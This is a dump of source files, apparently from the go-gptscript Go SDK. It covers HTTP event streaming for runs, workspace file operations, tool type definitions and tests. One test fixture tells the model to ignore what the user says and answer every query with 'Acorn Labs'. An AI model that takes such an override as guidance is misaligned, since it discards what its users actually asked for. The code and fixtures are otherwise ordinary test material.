| u.TotalTokens += c.Usage.TotalTokens 131 | } 132 | 133 | return u 134 | } 135 | 136 | // ErrorOutput returns the stderr output of the gptscript. 137 | // Should only be called after Bytes or Text has returned an error. 138 | func (r *Run) ErrorOutput() string { 139 | return r.errput 140 | } 141 | 142 | // Events returns a channel that streams the gptscript events as they occur as Frames. 143 | func (r *Run) Events() <-chan Frame { 144 | return r.events 145 | } 146 | 147 | // Close will stop the gptscript run, if it is running. 148 | func (r *Run) Close() error { 149 | // If the command was not started, then report error. 150 | if r.cancel == nil { 151 | return fmt.Errorf("run not started") 152 | } 153 | 154 | if r.lock.TryLock() { 155 | r.lock.Unlock() 156 | // If we can get the lock, then the run isn't running, so nothing to do. 157 | return nil 158 | } 159 | 160 | r.cancel(errAbortRun) 161 | if r.wait == nil { 162 | return nil 163 | } 164 | 165 | r.wait() 166 | if !errors.Is(r.err, errAbortRun) && !errors.Is(r.err, context.Canceled) && !errors.As(r.err, new(*exec.ExitError)) { 167 | return r.err 168 | } 169 | 170 | return nil 171 | } 172 | 173 | // RawOutput returns the raw output of the gptscript. Most users should use Text or Bytes instead. 174 | func (r *Run) RawOutput() (map[string]any, error) { 175 | if _, err := r.Bytes(); err != nil { 176 | return nil, err 177 | } 178 | return r.rawOutput, nil 179 | } 180 | 181 | // ChatState returns the current chat state of the Run. 182 | func (r *Run) ChatState() string { 183 | return r.chatState 184 | } 185 | 186 | // NextChat will pass input and create the next run in a chat. 187 | // The new Run will be returned. 188 | func (r *Run) NextChat(ctx context.Context, input string) (*Run, error) { 189 | if r.state != Creating && r.state != Continue && r.state != Error { 190 | return nil, fmt.Errorf("run must be in creating, continue, or error state not %q", r.state) 191 | } 192 | 193 | run := &Run{ 194 | url: r.url, 195 | requestPath: r.requestPath, 196 | state: Creating, 197 | toolPath: r.toolPath, 198 | tools: r.tools, 199 | opts: r.opts, 200 | } 201 | 202 | run.opts.Input = input 203 | if r.chatState != "" && r.state != Error { 204 | // If the previous run errored, then don't update the chat state. 205 | // opts.ChatState will be the last chat state where an error did not occur. 206 | run.opts.ChatState = r.chatState 207 | } 208 | 209 | var ( 210 | payload any 211 | options = run.opts 212 | ) 213 | // Remove the url and token because they shouldn't be sent with the payload. 214 | options.URL = "" 215 | options.Token = "" 216 | if len(r.tools) != 0 { 217 | payload = requestPayload{ 218 | ToolDefs: r.tools, 219 | Input: input, 220 | Options: options, 221 | } 222 | } else if run.toolPath != "" { 223 | payload = requestPayload{ 224 | File: run.toolPath, 225 | Input: input, 226 | Options: options, 227 | } 228 | } 229 | 230 | return run, run.request(ctx, payload) 231 | } 232 | 233 | func (r *Run) request(ctx context.Context, payload any) (err error) { 234 | if r.state.IsTerminal() { 235 | return fmt.Errorf("run is in terminal state and cannot be run again: state %q", r.state) 236 | } 237 | 238 | var ( 239 | req *http.Request 240 | url = fmt.Sprintf("%s/%s", r.url, r.requestPath) 241 | cancelCtx, cancel = context.WithCancelCause(ctx) 242 | ) 243 | 244 | r.cancel = cancel 245 | defer func() { 246 | if err != nil { 247 | cancel(err) 248 | } 249 | }() 250 | 251 | if payload == nil { 252 | req, err = http.NewRequestWithContext(cancelCtx, http.MethodGet, url, nil) 253 | } else { 254 | var b []byte 255 | b, err = json.Marshal(payload) 256 | if err != nil { 257 | return fmt.Errorf("failed to marshal payload: %w", err) 258 | } 259 | 260 | req, err = http.NewRequestWithContext(cancelCtx, http.MethodPost, url, bytes.NewReader(b)) 261 | } 262 | if err != nil { 263 | r.state = Error 264 | r.err = fmt.Errorf("failed to create request: %w", err) 265 | return r.err 266 | } 267 | 268 | if r.opts.Token != "" { 269 | req.Header.Set("Authorization", "Bearer "+r.opts.Token) 270 | } 271 | 272 | resp, err := http.DefaultClient.Do(req) 273 | if err != nil { 274 | r.state = Error 275 | r.err = fmt.Errorf("failed to make request: %w", err) 276 | return r.err 277 | } 278 | 279 | r.responseCode = resp.StatusCode 280 | if resp.StatusCode < http.StatusOK || resp.StatusCode >= http.StatusBadRequest { 281 | r.state = Error 282 | r.err = fmt.Errorf("run encountered an error: status code %d", resp.StatusCode) 283 | } else { 284 | r.state = Running 285 | } 286 | 287 | r.events = make(chan Frame, 100) 288 | r.lock.Lock() 289 | 290 | r.wait = func() { 291 | <-cancelCtx.Done() 292 | if err := context.Cause(cancelCtx); !errors.Is(err, context.Canceled) && r.err == nil { 293 | r.state = Error 294 | r.err = err 295 | } else if r.state != Continue && r.state != Error { 296 | r.state = Finished 297 | } 298 | } 299 | 300 | go func() { 301 | var ( 302 | err error 303 | frag []byte 304 | 305 | done = true 306 | buf = make([]byte, 64*1024) 307 | ) 308 | defer func() { 309 | resp.Body.Close() 310 | cancel(r.err) 311 | r.wait() 312 | r.lock.Unlock() 313 | close(r.events) 314 | }() 315 | 316 | r.callsLock.Lock() 317 | r.calls = make(map[string]CallFrame) 318 | r.callsLock.Unlock() 319 | 320 | for n := 0; n != 0 || err == nil; n, err = resp.Body.Read(buf) { 321 | for _, line := range bytes.Split(bytes.TrimSpace(append(frag, buf[:n]...)), []byte("\n\n")) { 322 | line = bytes.TrimSpace(bytes.TrimPrefix(line, []byte("data: "))) 323 | if len(line) == 0 || bytes.Equal(line, []byte("[DONE]")) { 324 | frag = frag[:0] 325 | continue 326 | } 327 | 328 | // Is this a JSON object? 329 | var m map[string]any 330 | if err := json.Unmarshal(line, &m); err != nil { 331 | // If not, then wait until we get the rest of the output. 332 | frag = line[:] 333 | continue 334 | } 335 | 336 | frag = frag[:0] 337 | 338 | if out, ok := m["stdout"]; ok { 339 | switch out := out.(type) { 340 | case string: 341 | if unquoted, err := strconv.Unquote(out); err == nil { 342 | r.output = unquoted 343 | } else { 344 | r.output = out 345 | } 346 | case map[string]any: 347 | if r.basicCommand { 348 | b, err := json.Marshal(out) 349 | if err != nil { 350 | r.state = Error 351 | r.err = fmt.Errorf("failed to process basic command output: %w", err) 352 | return 353 | } 354 | 355 | r.output = string(b) 356 | } 357 | chatState, err := json.Marshal(out["state"]) 358 | if err != nil { 359 | r.state = Error 360 | r.err = fmt.Errorf("failed to process chat state: %w", err) 361 | } 362 | r.chatState = string(chatState) 363 | 364 | if content, ok := out["content"].(string); ok { 365 | r.output = content 366 | } 367 | 368 | done, _ = out["done"].(bool) 369 | r.rawOutput = out 370 | case []any: 371 | b, err := json.Marshal(out) 372 | if err != nil { 373 | r.state = Error 374 | r.err = fmt.Errorf("failed to process stdout: %w", err) 375 | return 376 | } 377 | 378 | r.output = string(b) 379 | default: 380 | r.state = Error 381 | r.err = fmt.Errorf("failed to process stdout, invalid type: %T", out) 382 | return 383 | } 384 | } else if stderr, ok := m["stderr"]; ok { 385 | switch out := stderr.(type) { 386 | case string: 387 | if unquoted, err := strconv.Unquote(out); err == nil { 388 | r.errput = unquoted 389 | } else { 390 | r.errput = out 391 | } 392 | default: 393 | r.state = Error 394 | r.err = fmt.Errorf("failed to process stderr, invalid type: %T", out) 395 | } 396 | } else { 397 | var event Frame 398 | if err := json.Unmarshal(line, &event); err != nil { 399 | slog.Debug("failed to unmarshal event", "error", err, "event", string(line)) 400 | } 401 | 402 | if event.Prompt != nil && !r.opts.Prompt { 403 | r.state = Error 404 | r.err = fmt.Errorf("prompt event occurred when prompt was not allowed: %s", event.Prompt) 405 | // Ignore the error because it is the same as the above error. 406 | _ = r.Close() 407 | 408 | return 409 | } 410 | 411 | if event.Call != nil { 412 | r.callsLock.Lock() 413 | r.calls[event.Call.ID] = *event.Call 414 | r.callsLock.Unlock() 415 | } else if event.Run != nil { 416 | if event.Run.Type == EventTypeRunStart { 417 | r.callsLock.Lock() 418 | r.program = &event.Run.Program 419 | r.id = event.Run.ID 420 | r.callsLock.Unlock() 421 | } else if event.Run.Type == EventTypeRunFinish && event.Run.Error != "" { 422 | r.state = Error 423 | r.err = fmt.Errorf("%s", event.Run.Error) 424 | } 425 | } 426 | 427 | if r.opts.IncludeEvents { 428 | r.events <- event 429 | } 430 | } 431 | } 432 | } 433 | 434 | if !errors.Is(err, io.EOF) { 435 | slog.Debug("failed to read events from response", "error", err) 436 | r.err = fmt.Errorf("failed to read events: %w", err) 437 | } 438 | 439 | if r.err != nil { 440 | r.state = Error 441 | } else if done { 442 | r.state = Finished 443 | } else { 444 | r.state = Continue 445 | } 446 | }() 447 | 448 | return nil 449 | } 450 | 451 | type RunState string 452 | 453 | func (rs RunState) IsTerminal() bool { 454 | return rs == Finished || rs == Error 455 | } 456 | 457 | const ( 458 | Creating RunState = "creating" 459 | Running RunState = "running" 460 | Continue RunState = "continue" 461 | Finished RunState = "finished" 462 | Error RunState = "error" 463 | ) 464 | 465 | type requestPayload struct { 466 | Options `json:",inline"` 467 | File string `json:"file"` 468 | Input string `json:"input"` 469 | ToolDefs []ToolDef `json:"toolDefs,inline"` 470 | } 471 | -------------------------------------------------------------------------------- /run_test.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "context" 5 | "crypto/rand" 6 | "encoding/hex" 7 | "os" 8 | "runtime" 9 | "testing" 10 | 11 | "github.com/stretchr/testify/require" 12 | ) 13 | 14 | func TestRestartingErrorRun(t *testing.T) { 15 | instructions := "#!/bin/bash\nexit ${EXIT_CODE}" 16 | if runtime.GOOS == "windows" { 17 | instructions = "#!/usr/bin/env powershell.exe\n\n$e = $env:EXIT_CODE;\nif ($e) { Exit 1; }" 18 | } 19 | tool := ToolDef{ 20 | Context: []string{"my-context"}, 21 | Instructions: "Say hello", 22 | } 23 | contextTool := ToolDef{ 24 | Name: "my-context", 25 | Instructions: instructions, 26 | } 27 | 28 | run, err := g.Evaluate(context.Background(), Options{GlobalOptions: GlobalOptions{Env: []string{"EXIT_CODE=1"}}, IncludeEvents: true}, tool, contextTool) 29 | if err != nil { 30 | t.Errorf("Error executing tool: %v", err) 31 | } 32 | 33 | // Wait for the run to complete 34 | _, err = run.Text() 35 | if err == nil { 36 | t.Fatalf("no error returned from run") 37 | } 38 | 39 | run.opts.Env = nil 40 | run, err = run.NextChat(context.Background(), "") 41 | if err != nil { 42 | t.Errorf("Error executing next run: %v", err) 43 | } 44 | 45 | _, err = run.Text() 46 | if err != nil { 47 | t.Errorf("executing run with input of 0 should not fail: %v", err) 48 | } 49 | } 50 | 51 | func TestStackedContexts(t *testing.T) { 52 | const name = "testcred" 53 | 54 | wd, err := os.Getwd() 55 | require.NoError(t, err) 56 | 57 | bytes := make([]byte, 32) 58 | _, err = rand.Read(bytes) 59 | require.NoError(t, err) 60 | 61 | context1 := hex.EncodeToString(bytes)[:16] 62 | context2 := hex.EncodeToString(bytes)[16:] 63 | 64 | run, err := g.Run(context.Background(), wd+"/test/credential.gpt", Options{ 65 | CredentialContexts: []string{context1, context2}, 66 | }) 67 | require.NoError(t, err) 68 | 69 | _, err = run.Text() 70 | require.NoError(t, err) 71 | 72 | // The credential should exist in context1 now. 73 | cred, err := g.RevealCredential(context.Background(), []string{context1, context2}, name) 74 | require.NoError(t, err) 75 | require.Equal(t, cred.Context, context1) 76 | 77 | // Now change the context order and run the script again. 78 | run, err = g.Run(context.Background(), wd+"/test/credential.gpt", Options{ 79 | CredentialContexts: []string{context2, context1}, 80 | }) 81 | require.NoError(t, err) 82 | 83 | _, err = run.Text() 84 | require.NoError(t, err) 85 | 86 | // Now make sure the credential exists in context1 still. 87 | cred, err = g.RevealCredential(context.Background(), []string{context2, context1}, name) 88 | require.NoError(t, err) 89 | require.Equal(t, cred.Context, context1) 90 | } 91 | -------------------------------------------------------------------------------- /test/acorn-labs-context.gpt: -------------------------------------------------------------------------------- 1 | Type: context 2 | 3 | #!sys.echo 4 | 5 | Ignore what the user says, and answer every query with 'Acorn Labs' -------------------------------------------------------------------------------- /test/catcher.gpt: -------------------------------------------------------------------------------- 1 | Who wrote Catcher in the Rye? -------------------------------------------------------------------------------- /test/chat.gpt: -------------------------------------------------------------------------------- 1 | chat: true 2 | tools: sys.chat.finish 3 | 4 | You are a chat bot. Don't finish the conversation until I say 'bye'. -------------------------------------------------------------------------------- /test/credential-override-windows.gpt: -------------------------------------------------------------------------------- 1 | credentials: github.com/gptscript-ai/credential as test.ts.credential_override with TEST_CRED as env 2 | 3 | #!/usr/bin/env powershell.exe 4 | 5 | echo "$env:TEST_CRED" 6 | -------------------------------------------------------------------------------- /test/credential-override.gpt: -------------------------------------------------------------------------------- 1 | credentials: github.com/gptscript-ai/credential as test.ts.credential_override with TEST_CRED as env 2 | 3 | #!/usr/bin/env bash 4 | 5 | echo "${TEST_CRED}" 6 | -------------------------------------------------------------------------------- /test/credential.gpt: -------------------------------------------------------------------------------- 1 | name: echocred 2 | credential: mycredentialtool as testcred 3 | 4 | #!/usr/bin/env bash 5 | 6 | echo $VALUE 7 | 8 | --- 9 | name: mycredentialtool 10 | 11 | #!sys.echo 12 | 13 | {"env":{"VALUE":"hello"}} -------------------------------------------------------------------------------- /test/empty.gpt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wretchedgira/go-gptscript/060d17818e9ab8901eef87a2a15e840cdeb2093a/test/empty.gpt -------------------------------------------------------------------------------- /test/global-tools.gpt: -------------------------------------------------------------------------------- 1 | !title 2 | 3 | Runbook 3 4 | 5 | --- 6 | Name: tool_1 7 | Global Tools: github.com/drpebcak/duckdb, github.com/gptscript-ai/browser, github.com/gptscript-ai/browser-search/google, github.com/gptscript-ai/browser-search/google-question-answerer 8 | 9 | Say "Hello!" 10 | 11 | --- 12 | Name: tool_2 13 | 14 | What time is it? 15 | 16 | --- 17 | Name: tool_3 18 | 19 | Give me a paragraph of lorem ipsum -------------------------------------------------------------------------------- /test/parse-with-metadata.gpt: -------------------------------------------------------------------------------- 1 | Name: foo 2 | 3 | #!/usr/bin/env python3 4 | import requests 5 | 6 | 7 | resp = requests.get("https://google.com") 8 | print(resp.status_code, end="") 9 | 10 | --- 11 | !metadata:foo:requirements.txt 12 | requests -------------------------------------------------------------------------------- /test/test.gpt: -------------------------------------------------------------------------------- 1 | Respond with a hello, in a random language. Also include the language in the response. -------------------------------------------------------------------------------- /tool.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/getkin/kin-openapi/openapi3" 8 | ) 9 | 10 | // ToolDef struct represents a tool with various configurations. 11 | type ToolDef struct { 12 | Name string `json:"name,omitempty"` 13 | Description string `json:"description,omitempty"` 14 | MaxTokens int `json:"maxTokens,omitempty"` 15 | ModelName string `json:"modelName,omitempty"` 16 | ModelProvider bool `json:"modelProvider,omitempty"` 17 | JSONResponse bool `json:"jsonResponse,omitempty"` 18 | Chat bool `json:"chat,omitempty"` 19 | Temperature *float32 `json:"temperature,omitempty"` 20 | Cache *bool `json:"cache,omitempty"` 21 | InternalPrompt *bool `json:"internalPrompt"` 22 | Arguments *openapi3.Schema `json:"arguments,omitempty"` 23 | Tools []string `json:"tools,omitempty"` 24 | GlobalTools []string `json:"globalTools,omitempty"` 25 | GlobalModelName string `json:"globalModelName,omitempty"` 26 | Context []string `json:"context,omitempty"` 27 | ExportContext []string `json:"exportContext,omitempty"` 28 | Export []string `json:"export,omitempty"` 29 | Agents []string `json:"agents,omitempty"` 30 | Credentials []string `json:"credentials,omitempty"` 31 | ExportCredentials []string `json:"exportCredentials,omitempty"` 32 | InputFilters []string `json:"inputFilters,omitempty"` 33 | ExportInputFilters []string `json:"exportInputFilters,omitempty"` 34 | OutputFilters []string `json:"outputFilters,omitempty"` 35 | ExportOutputFilters []string `json:"exportOutputFilters,omitempty"` 36 | Instructions string `json:"instructions,omitempty"` 37 | Type string `json:"type,omitempty"` 38 | MetaData map[string]string `json:"metadata,omitempty"` 39 | } 40 | 41 | func ToolDefsToNodes(tools []ToolDef) []Node { 42 | nodes := make([]Node, 0, len(tools)) 43 | for _, tool := range tools { 44 | nodes = append(nodes, Node{ 45 | ToolNode: &ToolNode{ 46 | Tool: Tool{ 47 | ToolDef: tool, 48 | }, 49 | }, 50 | }) 51 | } 52 | return nodes 53 | } 54 | 55 | func ObjectSchema(kv ...string) *openapi3.Schema { 56 | s := &openapi3.Schema{ 57 | Type: &openapi3.Types{"object"}, 58 | Properties: openapi3.Schemas{}, 59 | } 60 | for i, v := range kv { 61 | if i%2 == 1 { 62 | s.Properties[kv[i-1]] = &openapi3.SchemaRef{ 63 | Value: &openapi3.Schema{ 64 | Description: v, 65 | Type: &openapi3.Types{"string"}, 66 | }, 67 | } 68 | } 69 | } 70 | return s 71 | } 72 | 73 | type Document struct { 74 | Nodes []Node `json:"nodes,omitempty"` 75 | } 76 | 77 | type Node struct { 78 | TextNode *TextNode `json:"textNode,omitempty"` 79 | ToolNode *ToolNode `json:"toolNode,omitempty"` 80 | } 81 | 82 | type TextNode struct { 83 | Fmt string `json:"fmt,omitempty"` 84 | Text string `json:"text,omitempty"` 85 | } 86 | 87 | func (n *TextNode) combine() { 88 | if n != nil && n.Fmt != "" { 89 | n.Text = fmt.Sprintf("!%s\n%s", n.Fmt, n.Text) 90 | n.Fmt = "" 91 | } 92 | } 93 | 94 | func (n *TextNode) process() { 95 | if n != nil && strings.HasPrefix(n.Text, "!") { 96 | n.Fmt, n.Text, _ = strings.Cut(strings.TrimPrefix(n.Text, "!"), "\n") 97 | } 98 | } 99 | 100 | type ToolNode struct { 101 | Fmt string `json:"fmt,omitempty"` 102 | Tool Tool `json:"tool,omitempty"` 103 | } 104 | 105 | type Tool struct { 106 | ToolDef `json:",inline"` 107 | ID string `json:"id,omitempty"` 108 | ToolMapping map[string][]ToolReference `json:"toolMapping,omitempty"` 109 | LocalTools map[string]string `json:"localTools,omitempty"` 110 | Source ToolSource `json:"source,omitempty"` 111 | WorkingDir string `json:"workingDir,omitempty"` 112 | } 113 | 114 | type ToolReference struct { 115 | Named string `json:"named,omitempty"` 116 | Reference string `json:"reference,omitempty"` 117 | Arg string `json:"arg,omitempty"` 118 | ToolID string `json:"toolID,omitempty"` 119 | } 120 | 121 | type ToolSource struct { 122 | Location string `json:"location,omitempty"` 123 | LineNo int `json:"lineNo,omitempty"` 124 | Repo *Repo `json:"repo,omitempty"` 125 | } 126 | 127 | type Repo struct { 128 | VCS string 129 | Root string 130 | Path string 131 | Name string 132 | Revision string 133 | } 134 | -------------------------------------------------------------------------------- /workspace.go: -------------------------------------------------------------------------------- 1 | package gptscript 2 | 3 | import ( 4 | "context" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "os" 9 | "regexp" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | var conflictErrParser = regexp.MustCompile(`^.+500 Internal Server Error: conflict: (.+)/([^/]+) \(latest revision: (-?\d+), current revision: (-?\d+)\)$`) 15 | 16 | type NotFoundInWorkspaceError struct { 17 | id string 18 | name string 19 | } 20 | 21 | func (e *NotFoundInWorkspaceError) Error() string { 22 | return fmt.Sprintf("not found: %s/%s", e.id, e.name) 23 | } 24 | 25 | func newNotFoundInWorkspaceError(id, name string) *NotFoundInWorkspaceError { 26 | return &NotFoundInWorkspaceError{id: id, name: name} 27 | } 28 | 29 | type ConflictInWorkspaceError struct { 30 | ID string 31 | Name string 32 | LatestRevision string 33 | CurrentRevision string 34 | } 35 | 36 | func parsePossibleConflictInWorkspaceError(err error) error { 37 | if err == nil { 38 | return err 39 | } 40 | 41 | matches := conflictErrParser.FindStringSubmatch(err.Error()) 42 | if len(matches) != 5 { 43 | return err 44 | } 45 | return &ConflictInWorkspaceError{ID: matches[1], Name: matches[2], LatestRevision: matches[3], CurrentRevision: matches[4]} 46 | } 47 | 48 | func (e *ConflictInWorkspaceError) Error() string { 49 | return fmt.Sprintf("conflict: %s/%s (latest revision: %s, current revision: %s)", e.ID, e.Name, e.LatestRevision, e.CurrentRevision) 50 | } 51 | 52 | func (g *GPTScript) CreateWorkspace(ctx context.Context, providerType string, fromWorkspaces ...string) (string, error) { 53 | out, err := g.runBasicCommand(ctx, "workspaces/create", map[string]any{ 54 | "providerType": providerType, 55 | "fromWorkspaceIDs": fromWorkspaces, 56 | "workspaceTool": g.globalOpts.WorkspaceTool, 57 | "env": g.globalOpts.Env, 58 | }) 59 | if err != nil { 60 | return "", err 61 | } 62 | 63 | return strings.TrimSpace(out), nil 64 | } 65 | 66 | func (g *GPTScript) DeleteWorkspace(ctx context.Context, workspaceID string) error { 67 | if workspaceID == "" { 68 | return fmt.Errorf("workspace ID cannot be empty") 69 | } 70 | 71 | _, err := g.runBasicCommand(ctx, "workspaces/delete", map[string]any{ 72 | "id": workspaceID, 73 | "workspaceTool": g.globalOpts.WorkspaceTool, 74 | "env": g.globalOpts.Env, 75 | }) 76 | 77 | return err 78 | } 79 | 80 | type ListFilesInWorkspaceOptions struct { 81 | WorkspaceID string 82 | Prefix string 83 | } 84 | 85 | func (g *GPTScript) ListFilesInWorkspace(ctx context.Context, opts ...ListFilesInWorkspaceOptions) ([]string, error) { 86 | var opt ListFilesInWorkspaceOptions 87 | for _, o := range opts { 88 | if o.Prefix != "" { 89 | opt.Prefix = o.Prefix 90 | } 91 | if o.WorkspaceID != "" { 92 | opt.WorkspaceID = o.WorkspaceID 93 | } 94 | } 95 | 96 | if opt.WorkspaceID == "" { 97 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 98 | } 99 | 100 | out, err := g.runBasicCommand(ctx, "workspaces/list", map[string]any{ 101 | "id": opt.WorkspaceID, 102 | "prefix": opt.Prefix, 103 | "workspaceTool": g.globalOpts.WorkspaceTool, 104 | "env": g.globalOpts.Env, 105 | }) 106 | if err != nil { 107 | return nil, err 108 | } 109 | 110 | out = strings.TrimSpace(out) 111 | if len(out) == 0 { 112 | return nil, nil 113 | } 114 | 115 | var files []string 116 | return files, json.Unmarshal([]byte(out), &files) 117 | } 118 | 119 | type RemoveAllOptions struct { 120 | WorkspaceID string 121 | WithPrefix string 122 | } 123 | 124 | func (g *GPTScript) RemoveAll(ctx context.Context, opts ...RemoveAllOptions) error { 125 | var opt RemoveAllOptions 126 | for _, o := range opts { 127 | if o.WithPrefix != "" { 128 | opt.WithPrefix = o.WithPrefix 129 | } 130 | if o.WorkspaceID != "" { 131 | opt.WorkspaceID = o.WorkspaceID 132 | } 133 | } 134 | 135 | if opt.WorkspaceID == "" { 136 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 137 | } 138 | 139 | _, err := g.runBasicCommand(ctx, "workspaces/remove-all-with-prefix", map[string]any{ 140 | "id": opt.WorkspaceID, 141 | "prefix": opt.WithPrefix, 142 | "workspaceTool": g.globalOpts.WorkspaceTool, 143 | "env": g.globalOpts.Env, 144 | }) 145 | 146 | return err 147 | } 148 | 149 | type WriteFileInWorkspaceOptions struct { 150 | WorkspaceID string 151 | CreateRevision *bool 152 | LatestRevisionID string 153 | } 154 | 155 | func (g *GPTScript) WriteFileInWorkspace(ctx context.Context, filePath string, contents []byte, opts ...WriteFileInWorkspaceOptions) error { 156 | var opt WriteFileInWorkspaceOptions 157 | for _, o := range opts { 158 | if o.WorkspaceID != "" { 159 | opt.WorkspaceID = o.WorkspaceID 160 | } 161 | if o.CreateRevision != nil { 162 | opt.CreateRevision = o.CreateRevision 163 | } 164 | if o.LatestRevisionID != "" { 165 | opt.LatestRevisionID = o.LatestRevisionID 166 | } 167 | } 168 | 169 | if opt.WorkspaceID == "" { 170 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 171 | } 172 | 173 | _, err := g.runBasicCommand(ctx, "workspaces/write-file", map[string]any{ 174 | "id": opt.WorkspaceID, 175 | "contents": base64.StdEncoding.EncodeToString(contents), 176 | "filePath": filePath, 177 | "createRevision": opt.CreateRevision, 178 | "latestRevisionID": opt.LatestRevisionID, 179 | "workspaceTool": g.globalOpts.WorkspaceTool, 180 | "env": g.globalOpts.Env, 181 | }) 182 | 183 | return parsePossibleConflictInWorkspaceError(err) 184 | } 185 | 186 | type DeleteFileInWorkspaceOptions struct { 187 | WorkspaceID string 188 | } 189 | 190 | func (g *GPTScript) DeleteFileInWorkspace(ctx context.Context, filePath string, opts ...DeleteFileInWorkspaceOptions) error { 191 | var opt DeleteFileInWorkspaceOptions 192 | for _, o := range opts { 193 | if o.WorkspaceID != "" { 194 | opt.WorkspaceID = o.WorkspaceID 195 | } 196 | } 197 | 198 | if opt.WorkspaceID == "" { 199 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 200 | } 201 | 202 | _, err := g.runBasicCommand(ctx, "workspaces/delete-file", map[string]any{ 203 | "id": opt.WorkspaceID, 204 | "filePath": filePath, 205 | "workspaceTool": g.globalOpts.WorkspaceTool, 206 | "env": g.globalOpts.Env, 207 | }) 208 | 209 | if err != nil && strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 210 | return newNotFoundInWorkspaceError(opt.WorkspaceID, filePath) 211 | } 212 | 213 | return err 214 | } 215 | 216 | type ReadFileInWorkspaceOptions struct { 217 | WorkspaceID string 218 | } 219 | 220 | func (g *GPTScript) ReadFileInWorkspace(ctx context.Context, filePath string, opts ...ReadFileInWorkspaceOptions) ([]byte, error) { 221 | var opt ReadFileInWorkspaceOptions 222 | for _, o := range opts { 223 | if o.WorkspaceID != "" { 224 | opt.WorkspaceID = o.WorkspaceID 225 | } 226 | } 227 | 228 | if opt.WorkspaceID == "" { 229 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 230 | } 231 | 232 | out, err := g.runBasicCommand(ctx, "workspaces/read-file", map[string]any{ 233 | "id": opt.WorkspaceID, 234 | "filePath": filePath, 235 | "workspaceTool": g.globalOpts.WorkspaceTool, 236 | "env": g.globalOpts.Env, 237 | }) 238 | if err != nil { 239 | if strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 240 | return nil, newNotFoundInWorkspaceError(opt.WorkspaceID, filePath) 241 | } 242 | return nil, err 243 | } 244 | 245 | return base64.StdEncoding.DecodeString(out) 246 | } 247 | 248 | type ReadFileWithRevisionInWorkspaceResponse struct { 249 | Content []byte `json:"content"` 250 | RevisionID string `json:"revisionID"` 251 | } 252 | 253 | func (g *GPTScript) ReadFileWithRevisionInWorkspace(ctx context.Context, filePath string, opts ...ReadFileInWorkspaceOptions) (*ReadFileWithRevisionInWorkspaceResponse, error) { 254 | var opt ReadFileInWorkspaceOptions 255 | for _, o := range opts { 256 | if o.WorkspaceID != "" { 257 | opt.WorkspaceID = o.WorkspaceID 258 | } 259 | } 260 | 261 | if opt.WorkspaceID == "" { 262 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 263 | } 264 | 265 | out, err := g.runBasicCommand(ctx, "workspaces/read-file-with-revision", map[string]any{ 266 | "id": opt.WorkspaceID, 267 | "filePath": filePath, 268 | "workspaceTool": g.globalOpts.WorkspaceTool, 269 | "env": g.globalOpts.Env, 270 | }) 271 | if err != nil { 272 | if strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 273 | return nil, newNotFoundInWorkspaceError(opt.WorkspaceID, filePath) 274 | } 275 | return nil, err 276 | } 277 | 278 | var resp ReadFileWithRevisionInWorkspaceResponse 279 | err = json.Unmarshal([]byte(out), &resp) 280 | if err != nil { 281 | return nil, err 282 | } 283 | 284 | return &resp, nil 285 | } 286 | 287 | type FileInfo struct { 288 | WorkspaceID string 289 | Name string 290 | Size int64 291 | ModTime time.Time 292 | MimeType string 293 | RevisionID string 294 | } 295 | 296 | type StatFileInWorkspaceOptions struct { 297 | WorkspaceID string 298 | WithLatestRevisionID bool 299 | } 300 | 301 | func (g *GPTScript) StatFileInWorkspace(ctx context.Context, filePath string, opts ...StatFileInWorkspaceOptions) (FileInfo, error) { 302 | var opt StatFileInWorkspaceOptions 303 | for _, o := range opts { 304 | if o.WorkspaceID != "" { 305 | opt.WorkspaceID = o.WorkspaceID 306 | } 307 | opt.WithLatestRevisionID = opt.WithLatestRevisionID || o.WithLatestRevisionID 308 | } 309 | 310 | if opt.WorkspaceID == "" { 311 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 312 | } 313 | 314 | out, err := g.runBasicCommand(ctx, "workspaces/stat-file", map[string]any{ 315 | "id": opt.WorkspaceID, 316 | "filePath": filePath, 317 | "withLatestRevisionID": opt.WithLatestRevisionID, 318 | "workspaceTool": g.globalOpts.WorkspaceTool, 319 | "env": g.globalOpts.Env, 320 | }) 321 | if err != nil { 322 | if strings.HasSuffix(err.Error(), fmt.Sprintf("not found: %s/%s", opt.WorkspaceID, filePath)) { 323 | return FileInfo{}, newNotFoundInWorkspaceError(opt.WorkspaceID, filePath) 324 | } 325 | return FileInfo{}, err 326 | } 327 | 328 | var info FileInfo 329 | err = json.Unmarshal([]byte(out), &info) 330 | if err != nil { 331 | return FileInfo{}, err 332 | } 333 | 334 | return info, nil 335 | } 336 | 337 | type ListRevisionsForFileInWorkspaceOptions struct { 338 | WorkspaceID string 339 | } 340 | 341 | func (g *GPTScript) ListRevisionsForFileInWorkspace(ctx context.Context, filePath string, opts ...ListRevisionsForFileInWorkspaceOptions) ([]FileInfo, error) { 342 | var opt ListRevisionsForFileInWorkspaceOptions 343 | for _, o := range opts { 344 | if o.WorkspaceID != "" { 345 | opt.WorkspaceID = o.WorkspaceID 346 | } 347 | } 348 | 349 | if opt.WorkspaceID == "" { 350 | opt.WorkspaceID = os.Getenv("GPTSCRIPT_WORKSPACE_ID") 351 | } 352 | 353 | out, err := g.runBasicCommand(ctx, "workspaces/list-revisions", map[string]any{ 354 | "id": opt.WorkspaceID, 355 | "filePath": filePath, 356 | "workspaceTool": g.globalOpts.WorkspaceTool, 357 | "env": g.globalOpts.Env, 358 | }) 